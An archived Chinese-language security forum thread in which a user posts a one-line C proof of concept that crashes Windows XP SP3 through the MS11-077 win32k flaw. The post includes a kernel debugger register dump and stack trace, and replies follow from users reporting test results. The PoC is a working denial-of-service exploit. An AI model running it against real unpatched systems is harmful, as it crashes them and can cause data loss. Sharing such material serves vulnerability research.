本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 5135|回复: 9

MS11-077的一个BSOD代码 [复制链接]

Rank: 2

发表于 2011-10-19 15:56:08 |显示全部楼层
本帖最后由 KiDebug 于 2011-10-21 15:24 编辑

/*
* 【作者:KiDebug】
* 【E-Mail:Google¥pku.edu.cn】
*/
#include <Windows.h>

void main()
{
  SendNotifyMessage((HWND)-1,0x180,0,0);
}


测试系统:
Windows XP SP3,不安装其他任何安全软件:
WindowsXPprosp3VOL微软原版+正版密钥.iso
user32.dll(5.1.2600.5512)
win32k.sys(5.1.2600.5512,5.1.2600.6119)
  1. 0: kd> r
  2. eax=0000001d ebx=bf80ee6b ecx=ffffffff edx=bc5d0650 esi=ffffffff edi=ee0a3d64
  3. eip=bf8cfecc esp=ee0a3d08 ebp=ee0a3d08 iopl=0         nv up ei pl nz na pe nc
  4. cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
  5. win32k!NtUserfnINLBOXSTRING+0x8:
  6. bf8cfecc 8b4120          mov     eax,dword ptr [ecx+20h] ds:0023:0000001f=????????

  7. 0: kd> kp
  8. ChildEBP RetAddr  
  9. ee0a3d08 bf80eed3 win32k!NtUserfnINLBOXSTRING+0x8
  10. ee0a3d40 8054261c win32k!NtUserMessageCall+0xae
  11. ee0a3d40 7c92e4f4 nt!KiFastCallEntry+0xfc
  12. 0012ff3c 77d194be ntdll!KiFastSystemCallRet
  13. 0012ff64 00401011 USER32!NtUserMessageCall+0xc
  14. 0012ff78 00401148 1!main(void)+0x11 [r:\temp\1\1.cpp @ 6]
  15. 0012ffc0 7c817067 1!__tmainCRTStartup(void)+0x10b [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278]
  16. 0012fff0 00000000 kernel32!BaseProcessStart+0x23
复制代码

Rank: 2

发表于 2011-10-19 17:52:56 |显示全部楼层
测试下,

Rank: 1

发表于 2011-10-19 21:29:25 |显示全部楼层
真的,给力

Rank: 1

发表于 2011-10-19 22:20:03 |显示全部楼层
测试一下呢

Rank: 2

发表于 2011-10-19 23:16:01 |显示全部楼层
本帖最后由 atkdef 于 2011-10-19 23:16 编辑

我开虚拟机测试了,
不蓝。。。
然后看到有人说XP SP2不会蓝。。。

Rank: 2

发表于 2011-10-19 23:46:22 |显示全部楼层
非常强大啊

Rank: 2

发表于 2011-10-21 11:53:49 |显示全部楼层
atkdef 发表于 2011-10-19 23:16
我开虚拟机测试了,
不蓝。。。
然后看到有人说XP SP2不会蓝。。。

虚拟机,SP3,没蓝。。。

Rank: 1

发表于 2011-10-21 14:55:50 |显示全部楼层
我的XP SP3也没蓝

Rank: 1

发表于 2011-10-21 21:33:14 |显示全部楼层
是自己发现的吗??

Rank: 1

发表于 2013-4-1 20:27:26 |显示全部楼层
强大啊
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-1-24 05:52 , Processed in 0.028936 second(s), 8 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部